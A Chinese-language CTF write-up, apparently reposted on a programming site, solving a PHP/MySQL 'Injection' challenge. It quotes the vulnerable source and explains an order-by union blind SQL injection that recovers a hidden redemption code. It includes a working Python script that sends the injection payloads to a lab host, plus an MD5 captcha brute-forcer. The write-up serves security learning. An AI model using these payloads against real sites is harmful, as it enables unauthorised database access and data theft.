内容简介:记录一下一些题目很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解提示给的是 注入!注入!注入!
记录一下一些题目
Injection
很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解
题目分析
提示给的是 注入!注入!注入!
访问靶机,出现一张简单的登录页面
随便尝试一些弱口令和万能密码,没什么结果,右键源代码,发现提示信息
进入是一张注册界面,简单的注册个账户,先尝试登录,发现登录成功,发现很明显的id参数,所以直接开始尝试一下其他id的值(1,2,3,4)
发现 id=1
是admin的账户并且给出了提示
访问后发现是站点源码,只有5张页面
先看 profile.php
,由于代码量,所以只给出关键代码
页面开头给出了表结构,但是第四列是一个变量,也就是我们无法得到第四列名的信息
/* CREATE TABLE `users` ( `id` int(5) NOT NULL AUTO_INCREMENT, `user` varchar(20) DEFAULT NULL, `pass` varchar(32) DEFAULT NULL, `$secret` varchar(36) DEFAULT NULL, `count` int(3) DEFAULT NULL, PRIMARY KEY (`id`) ) */
剩下代码业务逻辑大致是 访问页面后会判断用户信息,记录访问次数,如果访问次数超过140次,那么兑换码就会被重置($secret字段就是存兑换码的字段)
而兑换码是根据 1234567890abcdefghijklmnopqrstuvwxyz
乱序去生成的
关键代码如下
// 兑换码生成与验证
function duihuanma_product()
{
$string = "1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function change($secret)
{
global $username,$row;
$duihuanma = duihuanma_product();
$row = mysql_fetch_array(mysql_query("select * from users where user='$username'"));
$count = $row['count'];
if (!$row[$secret]){
mysql_query("update users set $secret='{$duihuanma}' where user='$username'");
}
if($row['count'] == 140)
{
if(mysql_query("update users set $secret='{$duihuanma}' where user='$username';"))
{
mysql_query("update users set count=0 where user='$username';");
die("<center><br><h3>尝试次数过多,兑换码已经重置</h3></center>");
}
return $duihuanma;
}
else
{
mysql_query("update users set count=({$row['count']} + 1) where user='$username';");
}
return $row[$secret];
}
// id值的业务代码
$id=$_GET['id']?$_GET['id']:0;
if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id))
die('<h3>danger character dectected</h3>');
$sql = "select * from users where id=$id";
$result = mysql_query($sql);
$rownew = @mysql_fetch_array($result);
$rownew['user']=$rownew['user']?$rownew['user']:"noman";
?>
<h3>This is <?php echo $rownew['user'];?> page,您已经访问<?php echo $row['count']+1;?>次</h3><br>
<?php
if ($rownew['user']==='admin'){
echo "<br><h3>good job,hint: thisissourcecode.zip</h3>";
}
在看 flag.php
页面,界面效果如下
看页面也知道需要兑换码和md5验证才能获得flag,关键代码如下
// 验证码生成
$captcha= getCaptcha(4);
$_SESSION['captcha'] = $captcha;
function getCaptcha($length){
$str = null;
$strPol = "0123456789abcdef";
$max = strlen($strPol)-1;
for($i=0;$i<$length;$i++){
$str.=$strPol[rand(0,$max)];
}
return $str;
}
// 对比验证码
if (isset($_POST['captcha']) && isset($_POST['duihuanma'])) {
if(!(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha']))
die('<center><p>captcha not right</p></center>');
$sql = "select $secret from users where user='${_SESSION['username']}'";
#echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
}
// 对比兑换码
if (isset($_POST['duihuanma'])){
if ($row[$secret]===$_POST['duihuanma']){
echo "<br><center>".$flag."</center>";
}else{
echo "<center>flag兑换码不正确</center>";
}
}
Order by 盲注获得兑换码
代码审计下来得到了大致的思路,需要先注入得到兑换码,然后在爆破MD5验证码后,提交即可
但是注入过滤了 . _ ( )
,所以我们无法使用函数
同时我们也不知道兑换码字段名称,那么常规的方法无从下手
查阅资料得到,可以通过order by的一种注入手段来得到数据内容,具体原理可以看以下两篇文章,总结的很好
基于union查询的盲注(感谢pcat牛不吝赐教)我们可以借助这样的方法在不需要列名的情况下,比对出真实的数据
假设兑换码第一个字符是 5
,当我们执行如图的语句之后,由于 6
的ASCII码比 5
大,所以还是显示原来的数据内容
观察上面的图片,就能发现,
union
但是题目要求我们在140内需要得到答案,如果使用了二分法也无法达到140内(测试下来一个数大概需要5-6次便可以确定,36个数便远远超过)
但是兑换码生成的算法是乱序,也就是说每一个字符必定只出现一次(在想的时候 gokoucat大佬 看一眼就找到了关键点,膜拜)
那么便有可能达到140内,并且最后一次也无需去发送请求(同时膜拜 phorse师傅如何更高效的盲注爆取数据-二分法 )
那么我们便可以写出 python 脚本
# coding=utf-8
import requests
import math
ALL = "0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
cookies = {"PHPSESSID": "7v527f98146aite4mobo4n0b13"}
count = 0
for i in range(35):
left = 0
right = len(ALL) - 1
mid = int(math.ceil((left + right) / 2.0))
while left < right:
count += 1
url = "http://10.10.118.51/profile.php?id=5 union select 1,2,3,'"+ flag + str(ALL[mid]) + "',5 order by 4"
res = requests.get(url, cookies=cookies).text
if "This is 2 page" in res:
left = mid
else:
right = mid - 1
mid = int(math.ceil((left + right) / 2.0))
print(left, mid, right)
flag += ALL[mid]
# 去除已经出现的字符
ALL = ALL.replace(ALL[mid], '')
print("-" * 100)
print(flag+ALL)
print(count)
print("-" * 100)
这边需要注意的是,由于 x<mid or x = mid
的回显情况相同都是 This is 2 page
,而 x>mid
的回显情况是 id=5的用户名
所以计算 mid
需要向上取整
结果如下
爆破MD5验证码
我们已经获得了兑换码,那么还需要利用简单的python脚本爆破MD5验证码
import hashlib
result = 1
while True:
m = hashlib.md5(str(result))
m = m.hexdigest()
if m[0:4] == "ee6a":
print(m)
print(result)
break
result += 1
结果如下
提交后可以成功获取flag值
后来在google中也找到了原题的wp,非常详细的解答
【原创】Pwnhub会员日一题引发的思考以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Practical Algorithms for Programmers
Andrew Binstock、John Rex / Addison-Wesley Professional / 1995-06-29 / USD 39.99
Most algorithm books today are either academic textbooks or rehashes of the same tired set of algorithms. Practical Algorithms for Programmers is the first book to give complete code implementations o......一起来看看 《Practical Algorithms for Programmers》 这本书的介绍吧!